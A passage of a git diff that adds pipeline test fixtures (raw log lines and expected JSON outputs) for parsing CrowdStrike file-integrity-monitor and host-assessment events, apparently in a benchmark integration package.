"id": "2e3d9c94d9c34764860b1f3b444c6d4d", + "name": "LINUX-TEST-HOST-01", + "os": { + "type": "linux" + } + }, + "message": "FileIntegrityMonitorRuleMatched", + "observer": { + "address": [ + "192.0.2.1" + ], + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": [ + "192.0.2.1" + ], + "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d", + "version": "1007.8.0018308.15" + }, + "process": { + "args": [ + "chmod", + "+x", + "test.sh" + ], + "args_count": 3, + "command_line": "chmod +x test.sh", + "entity_id": "56470381986263", + "executable": "/usr/bin/chmod", + "name": "chmod", + "pid": 1205, + "real_user": { + "id": "1000" + } + }, + "related": { + "hash": [ + "4077874319" + ], + "hosts": [ + "LINUX-TEST-HOST-01" + ], + "ip": [ + "192.0.2.1", + "192.0.2.11" + ], + "user": [ + "testuser", + "1000" + ] + }, + "rule": { + "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235", + "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E" + }, + "source": { + "address": "192.0.2.11", + "as": { + "number": 64500, + "organization": { + "name": "Documentation ASN" + } + }, + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": "192.0.2.11" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "1000" + } + }, + "id": "1000", + "name": "testuser" + } + }, + { + "@timestamp": "2025-12-05T13:15:28.352Z", + "crowdstrike": { + "ConfigStateHash": "4077874319", + "ContextProcessId": "56480700653114", + "ContextTimeStamp": "2025-12-05T13:15:27.728Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "GrandparentImageFileName": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node", + "IsEBPF": "0", + "IsFromDifferentMountNamespace": "0", + "LocalAddressIP4": [ + "192.0.2.11" + ], + "ObjectAccessOperationType": "RENAME", + "ObjectType": "FILE", + "ParentImageFileName": "/usr/bin/bash", + "Policy": { + "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6" + }, + "PolicyRuleSeverity": 3, + "RUID": "1000", + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "id": "54049e9e-d8c2-41c8-8822-98687f7a3608", + "name": "FileIntegrityMonitorRuleMatchedLinV9" + }, + "device": { + "id": "2e3d9c94d9c34764860b1f3b444c6d4d" + }, + "event": { + "action": "FileIntegrityMonitorRuleMatched", + "category": [ + "file" + ], + "created": "2025-12-05T13:15:28.352Z", + "id": "54049e9e-d8c2-41c8-8822-98687f7a3608|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"CommandLine\":\"mv test.txt newname.txt\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56480700653114\",\"ContextTimeStamp\":\"1764940527.728\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"ImageFileName\":\"/usr/bin/mv\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"ObjectAccessOperationType\":\"5\",\"ObjectName\":\"/home/testuser/filevantage/test.txt\",\"ObjectNameNew\":\"/home/testuser/filevantage/newname.txt\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"RUID\":\"1000\",\"RawProcessId\":\"21533\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"54049e9e-d8c2-41c8-8822-98687f7a3608\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764940528352\"}", + "severity": 73, + "type": [ + "change" + ] + }, + "file": { + "Ext": { + "original": { + "name": "test.txt", + "path": "/home/testuser/filevantage/test.txt" + } + }, + "directory": "/home/testuser/filevantage", + "extension": "txt", + "name": "newname.txt", + "path": "/home/testuser/filevantage/newname.txt", + "type": "file" + }, + "host": { + "hostname": "LINUX-TEST-HOST-01", + "id": "2e3d9c94d9c34764860b1f3b444c6d4d", + "name": "LINUX-TEST-HOST-01", + "os": { + "type": "linux" + } + }, + "message": "FileIntegrityMonitorRuleMatched", + "observer": { + "address": [ + "192.0.2.1" + ], + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": [ + "192.0.2.1" + ], + "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d", + "version": "1007.8.0018308.15" + }, + "process": { + "args": [ + "mv", + "test.txt", + "newname.txt" + ], + "args_count": 3, + "command_line": "mv test.txt newname.txt", + "entity_id": "56480700653114", + "executable": "/usr/bin/mv", + "name": "mv", + "pid": 21533, + "real_user": { + "id": "1000" + } + }, + "related": { + "hash": [ + "4077874319" + ], + "hosts": [ + "LINUX-TEST-HOST-01" + ], + "ip": [ + "192.0.2.1", + "192.0.2.11" + ], + "user": [ + "testuser", + "1000" + ] + }, + "rule": { + "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235", + "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E" + }, + "source": { + "address": "192.0.2.11", + "as": { + "number": 64500, + "organization": { + "name": "Documentation ASN" + } + }, + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": "192.0.2.11" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "1000" + } + }, + "id": "1000", + "name": "testuser" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log new file mode 100644 index 0000000000..1bc60f9825 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log @@ -0,0 +1,2 @@ +{"AuthenticationId": "999","CommandLine": "\"C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging","ComputerName": "WIN-TEST-HOST-01","ConfigBuild": "1007.3.0020403.15","ConfigStateHash": "997826216","ContextProcessId": "23006475544","ContextTimeStamp": "1768081238.291","EffectiveTransmissionClass": "3","Entitlements": "15","EventOrigin": "1","GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe","ImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe","LocalAddressIP4": "192.0.2.10","ObjectAccessOperationType": "4","ObjectName": "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}","ObjectType": "3","ParentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\EDGEMITMP_BFB80.tmp\\setup.exe","PolicyIdentifier": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693","PolicyRuleGroupID": "E9EBD120-0D58-4F9B-81D7-D678D58A678F","PolicyRuleID": "B9902971-B750-40F0-81E6-BC5C60624E6F","PolicyRuleSeverity": "3","RawProcessId": "6208","RegType": "1","RuleModifiedTimeStamp": "","UserName": "WIN-TEST-HOST-01$","UserSid": "S-1-5-18","aid": "05831d09e02c4949a44cf99ffa54f2ed","aip": "192.0.2.1","cid": "2cc98db1a47b4c98b913c94d43bfab70","event_platform": "Win","event_simpleName": "FileIntegrityMonitorRuleMatched","id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0","name": "FileIntegrityMonitorRuleMatchedV11","timestamp": "1768081239013"} +{"AuthenticationId": "89056942","CommandLine": "C:\\Windows\\Explorer.EXE","ComputerName": "WIN-TEST-HOST-01","ConfigBuild": "1007.3.0020403.15","ConfigStateHash": "3236037079","ContextProcessId": "21005463680","ContextTimeStamp": "1767954716.910","EffectiveTransmissionClass": "3","Entitlements": "15","EventOrigin": "1","GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\winlogon.exe","ImageFileName": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe","LocalAddressIP4": "192.0.2.10","ObjectAccessOperationType": "5","ObjectName": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\folder","ObjectNameNew": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\New folder","ObjectType": "2","ParentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","PolicyIdentifier": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693","PolicyRuleGroupID": "F8BE81CC-38EE-406D-8D42-5B748F35E5BD","PolicyRuleID": "BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84","PolicyRuleSeverity": "1","RawProcessId": "3060","RuleModifiedTimeStamp": "","UserName": "testuser","UserSid": "S-1-5-21-1234567890-1234567890-1234567890-1001","aid": "05831d09e02c4949a44cf99ffa54f2ed","aip": "192.0.2.2","cid": "2cc98db1a47b4c98b913c94d43bfab70","event_platform": "Win","event_simpleName": "FileIntegrityMonitorRuleMatched","id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b","name": "FileIntegrityMonitorRuleMatchedV11","timestamp": "1767954717566"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json new file mode 100644 index 0000000000..63dee427f8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json @@ -0,0 +1,297 @@ +{ + "expected": [ + { + "@timestamp": "2026-01-10T21:40:39.013Z", + "crowdstrike": { + "AuthenticationId": "999", + "ConfigStateHash": "997826216", + "ContextProcessId": "23006475544", + "ContextTimeStamp": "2026-01-10T21:40:38.291Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe", + "LocalAddressIP4": [ + "192.0.2.10" + ], + "ObjectAccessOperationType": "SET", + "ObjectType": "VALUE", + "ParentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\EDGEMITMP_BFB80.tmp\\setup.exe", + "Policy": { + "ID": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693" + }, + "PolicyRuleSeverity": 3, + "RegType": "1", + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0", + "name": "FileIntegrityMonitorRuleMatchedV11" + }, + "device": { + "id": "05831d09e02c4949a44cf99ffa54f2ed" + }, + "event": { + "action": "FileIntegrityMonitorRuleMatched", + "category": [ + "registry" + ], + "created": "2026-01-10T21:40:39.013Z", + "id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0|05831d09e02c4949a44cf99ffa54f2ed|2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"AuthenticationId\": \"999\",\"CommandLine\": \"\\\"C:\\\\Program Files (x86)\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\143.0.3650.139\\\\Installer\\\\setup.exe\\\" --msedgewebview --delete-old-versions --system-level --verbose-logging\",\"ComputerName\": \"WIN-TEST-HOST-01\",\"ConfigBuild\": \"1007.3.0020403.15\",\"ConfigStateHash\": \"997826216\",\"ContextProcessId\": \"23006475544\",\"ContextTimeStamp\": \"1768081238.291\",\"EffectiveTransmissionClass\": \"3\",\"Entitlements\": \"15\",\"EventOrigin\": \"1\",\"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe\",\"ImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\143.0.3650.139\\\\Installer\\\\setup.exe\",\"LocalAddressIP4\": \"192.0.2.10\",\"ObjectAccessOperationType\": \"4\",\"ObjectName\": \"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}\",\"ObjectType\": \"3\",\"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\\\EDGEMITMP_BFB80.tmp\\\\setup.exe\",\"PolicyIdentifier\": \"A6E87944-7FC6-434D-ABBE-CDFFB14F7693\",\"PolicyRuleGroupID\": \"E9EBD120-0D58-4F9B-81D7-D678D58A678F\",\"PolicyRuleID\": \"B9902971-B750-40F0-81E6-BC5C60624E6F\",\"PolicyRuleSeverity\": \"3\",\"RawProcessId\": \"6208\",\"RegType\": \"1\",\"RuleModifiedTimeStamp\": \"\",\"UserName\": \"WIN-TEST-HOST-01$\",\"UserSid\": \"S-1-5-18\",\"aid\": \"05831d09e02c4949a44cf99ffa54f2ed\",\"aip\": \"192.0.2.1\",\"cid\": \"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\": \"Win\",\"event_simpleName\": \"FileIntegrityMonitorRuleMatched\",\"id\": \"fa2d4a8a-df61-4d4a-b1da-d04140d2faf0\",\"name\": \"FileIntegrityMonitorRuleMatchedV11\",\"timestamp\": \"1768081239013\"}", + "severity": 73, + "type": [ + "change" + ] + }, + "host": { + "hostname": "WIN-TEST-HOST-01", + "id": "05831d09e02c4949a44cf99ffa54f2ed", + "name": "WIN-TEST-HOST-01", + "os": { + "type": "windows" + } + }, + "message": "FileIntegrityMonitorRuleMatched", + "observer": { + "address": [ + "192.0.2.1" + ], + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": [ + "192.0.2.1" + ], + "serial_number": "05831d09e02c4949a44cf99ffa54f2ed", + "version": "1007.3.0020403.15" + }, + "process": { + "args": [ + "C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe", + "--msedgewebview", + "--delete-old-versions", + "--system-level", + "--verbose-logging" + ], + "args_count": 5, + "command_line": "\"C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging", + "entity_id": "23006475544", + "executable": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe", + "name": "setup.exe", + "pid": 6208 + }, + "registry": { + "data": { + "type": "REG_SZ" + }, + "key": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", + "path": "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}", + "value": "msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}" + }, + "related": { + "hash": [ + "997826216" + ], + "hosts": [ + "WIN-TEST-HOST-01" + ], + "ip": [ + "192.0.2.1", + "192.0.2.10" + ], + "user": [ + "WIN-TEST-HOST-01$", + "S-1-5-18" + ] + }, + "rule": { + "id": "B9902971-B750-40F0-81E6-BC5C60624E6F", + "ruleset": "E9EBD120-0D58-4F9B-81D7-D678D58A678F" + }, + "source": { + "address": "192.0.2.10", + "as": { + "number": 64500, + "organization": { + "name": "Documentation ASN" + } + }, + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": "192.0.2.10" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-18", + "name": "WIN-TEST-HOST-01$" + } + }, + { + "@timestamp": "2026-01-09T10:31:57.566Z", + "crowdstrike": { + "AuthenticationId": "89056942", + "ConfigStateHash": "3236037079", + "ContextProcessId": "21005463680", + "ContextTimeStamp": "2026-01-09T10:31:56.910Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\winlogon.exe", + "LocalAddressIP4": [ + "192.0.2.10" + ], + "ObjectAccessOperationType": "RENAME", + "ObjectType": "FOLDER", + "ParentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "Policy": { + "ID": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693" + }, + "PolicyRuleSeverity": 1, + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b", + "name": "FileIntegrityMonitorRuleMatchedV11" + }, + "device": { + "id": "05831d09e02c4949a44cf99ffa54f2ed" + }, + "event": { + "action": "FileIntegrityMonitorRuleMatched", + "category": [ + "file" + ], + "created": "2026-01-09T10:31:57.566Z", + "id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b|05831d09e02c4949a44cf99ffa54f2ed|2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"AuthenticationId\": \"89056942\",\"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\"ComputerName\": \"WIN-TEST-HOST-01\",\"ConfigBuild\": \"1007.3.0020403.15\",\"ConfigStateHash\": \"3236037079\",\"ContextProcessId\": \"21005463680\",\"ContextTimeStamp\": \"1767954716.910\",\"EffectiveTransmissionClass\": \"3\",\"Entitlements\": \"15\",\"EventOrigin\": \"1\",\"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\winlogon.exe\",\"ImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"LocalAddressIP4\": \"192.0.2.10\",\"ObjectAccessOperationType\": \"5\",\"ObjectName\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\testuser\\\\Desktop\\\\filevantage\\\\folder\",\"ObjectNameNew\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\testuser\\\\Desktop\\\\filevantage\\\\New folder\",\"ObjectType\": \"2\",\"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"PolicyIdentifier\": \"A6E87944-7FC6-434D-ABBE-CDFFB14F7693\",\"PolicyRuleGroupID\": \"F8BE81CC-38EE-406D-8D42-5B748F35E5BD\",\"PolicyRuleID\": \"BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84\",\"PolicyRuleSeverity\": \"1\",\"RawProcessId\": \"3060\",\"RuleModifiedTimeStamp\": \"\",\"UserName\": \"testuser\",\"UserSid\": \"S-1-5-21-1234567890-1234567890-1234567890-1001\",\"aid\": \"05831d09e02c4949a44cf99ffa54f2ed\",\"aip\": \"192.0.2.2\",\"cid\": \"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\": \"Win\",\"event_simpleName\": \"FileIntegrityMonitorRuleMatched\",\"id\": \"a9e7eae2-3f8e-44c9-b847-40cf2af49e2b\",\"name\": \"FileIntegrityMonitorRuleMatchedV11\",\"timestamp\": \"1767954717566\"}", + "severity": 21, + "type": [ + "change" + ] + }, + "file": { + "Ext": { + "original": { + "name": "folder", + "path": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\folder" + } + }, + "directory": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage", + "name": "New folder", + "path": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\New folder", + "type": "dir" + }, + "host": { + "hostname": "WIN-TEST-HOST-01", + "id": "05831d09e02c4949a44cf99ffa54f2ed", + "name": "WIN-TEST-HOST-01", + "os": { + "type": "windows" + } + }, + "message": "FileIntegrityMonitorRuleMatched", + "observer": { + "address": [ + "192.0.2.2" + ], + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": [ + "192.0.2.2" + ], + "serial_number": "05831d09e02c4949a44cf99ffa54f2ed", + "version": "1007.3.0020403.15" + }, + "process": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "args_count": 1, + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "21005463680", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "name": "explorer.exe", + "pid": 3060 + }, + "related": { + "hash": [ + "3236037079" + ], + "hosts": [ + "WIN-TEST-HOST-01" + ], + "ip": [ + "192.0.2.2", + "192.0.2.10" + ], + "user": [ + "testuser", + "S-1-5-21-1234567890-1234567890-1234567890-1001" + ] + }, + "rule": { + "id": "BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84", + "ruleset": "F8BE81CC-38EE-406D-8D42-5B748F35E5BD" + }, + "source": { + "address": "192.0.2.10", + "as": { + "number": 64500, + "organization": { + "name": "Documentation ASN" + } + }, + "geo": { + "city_name": "Las Vegas", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 36.17497, + "lon": -115.13722 + }, + "region_iso_code": "US-NV", + "region_name": "Nevada" + }, + "ip": "192.0.2.10" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-21-1234567890-1234567890-1234567890-1001", + "name": "testuser" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log new file mode 100644 index 0000000000..24929e164d --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log @@ -0,0 +1 @@ +{"FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","aid":"1111","cid":"2222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml new file mode 100644 index 0000000000..58718e1ca4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml @@ -0,0 +1,7 @@ +fields: + "@timestamp": "2020-04-28T11:07:58.223Z" + tags: + - preserve_original_event + _conf: + long_fields: delete_long_fields + long_fields_max_length: 1024 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json new file mode 100644 index 0000000000..7794bf947f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json @@ -0,0 +1,80 @@ +{ + "expected": [ + { + "@timestamp": "2020-10-01T09:58:32.519Z", + "crowdstrike": { + "EventType": "ZeroTrustHostAssessment", + "HostHiddenStatus": "VISIBLE", + "assessments": { + "analytics_and_improvements_mac": "yes", + "application_firewall_mac": "yes", + "crendential_dumping_hash_mac": "yes", + "crendential_dumping_kcpassword_mac": "yes", + "crowdstrike_full_disk_access": "yes", + "execution_blocking_custom_blocking_enabled_mac": "yes", + "execution_blocking_intel_threats_enabled_mac": "yes", + "execution_blocking_suspicious_processes_enabled_mac": "yes", + "file_vault_enabled_mac": "yes", + "gatekeeper_mac": "yes", + "internet_sharing_mac": "yes", + "mac_os_version": "yes", + "ml_adware_detection_mac": "yes", + "ml_adware_prevention_mac": "yes", + "ml_cloud_antimalware_detection_mac": "yes", + "ml_cloud_antimalware_prevention_mac": "yes", + "ml_sensor_adware_and_pup_detection_mac": "yes", + "ml_sensor_adware_and_pup_prevention_mac": "yes", + "ml_sensor_antimalware_detection_mac": "yes", + "ml_sensor_antimalware_prevention_mac": "yes", + "quarantine_mac": "yes", + "real_time_response_enabled_mac": "yes", + "remote_login_mac": "yes", + "script_based_execution_monitoring_mac": "yes", + "sip_enabled_mac": "yes", + "stealth_mode_mac": "no", + "system_full_disk_access_mac": "no", + "unauthorized_remote_access_chopper_mac": "yes", + "unauthorized_remote_access_empyre_mac": "yes", + "unauthorized_remote_access_xpcom_mac": "yes" + }, + 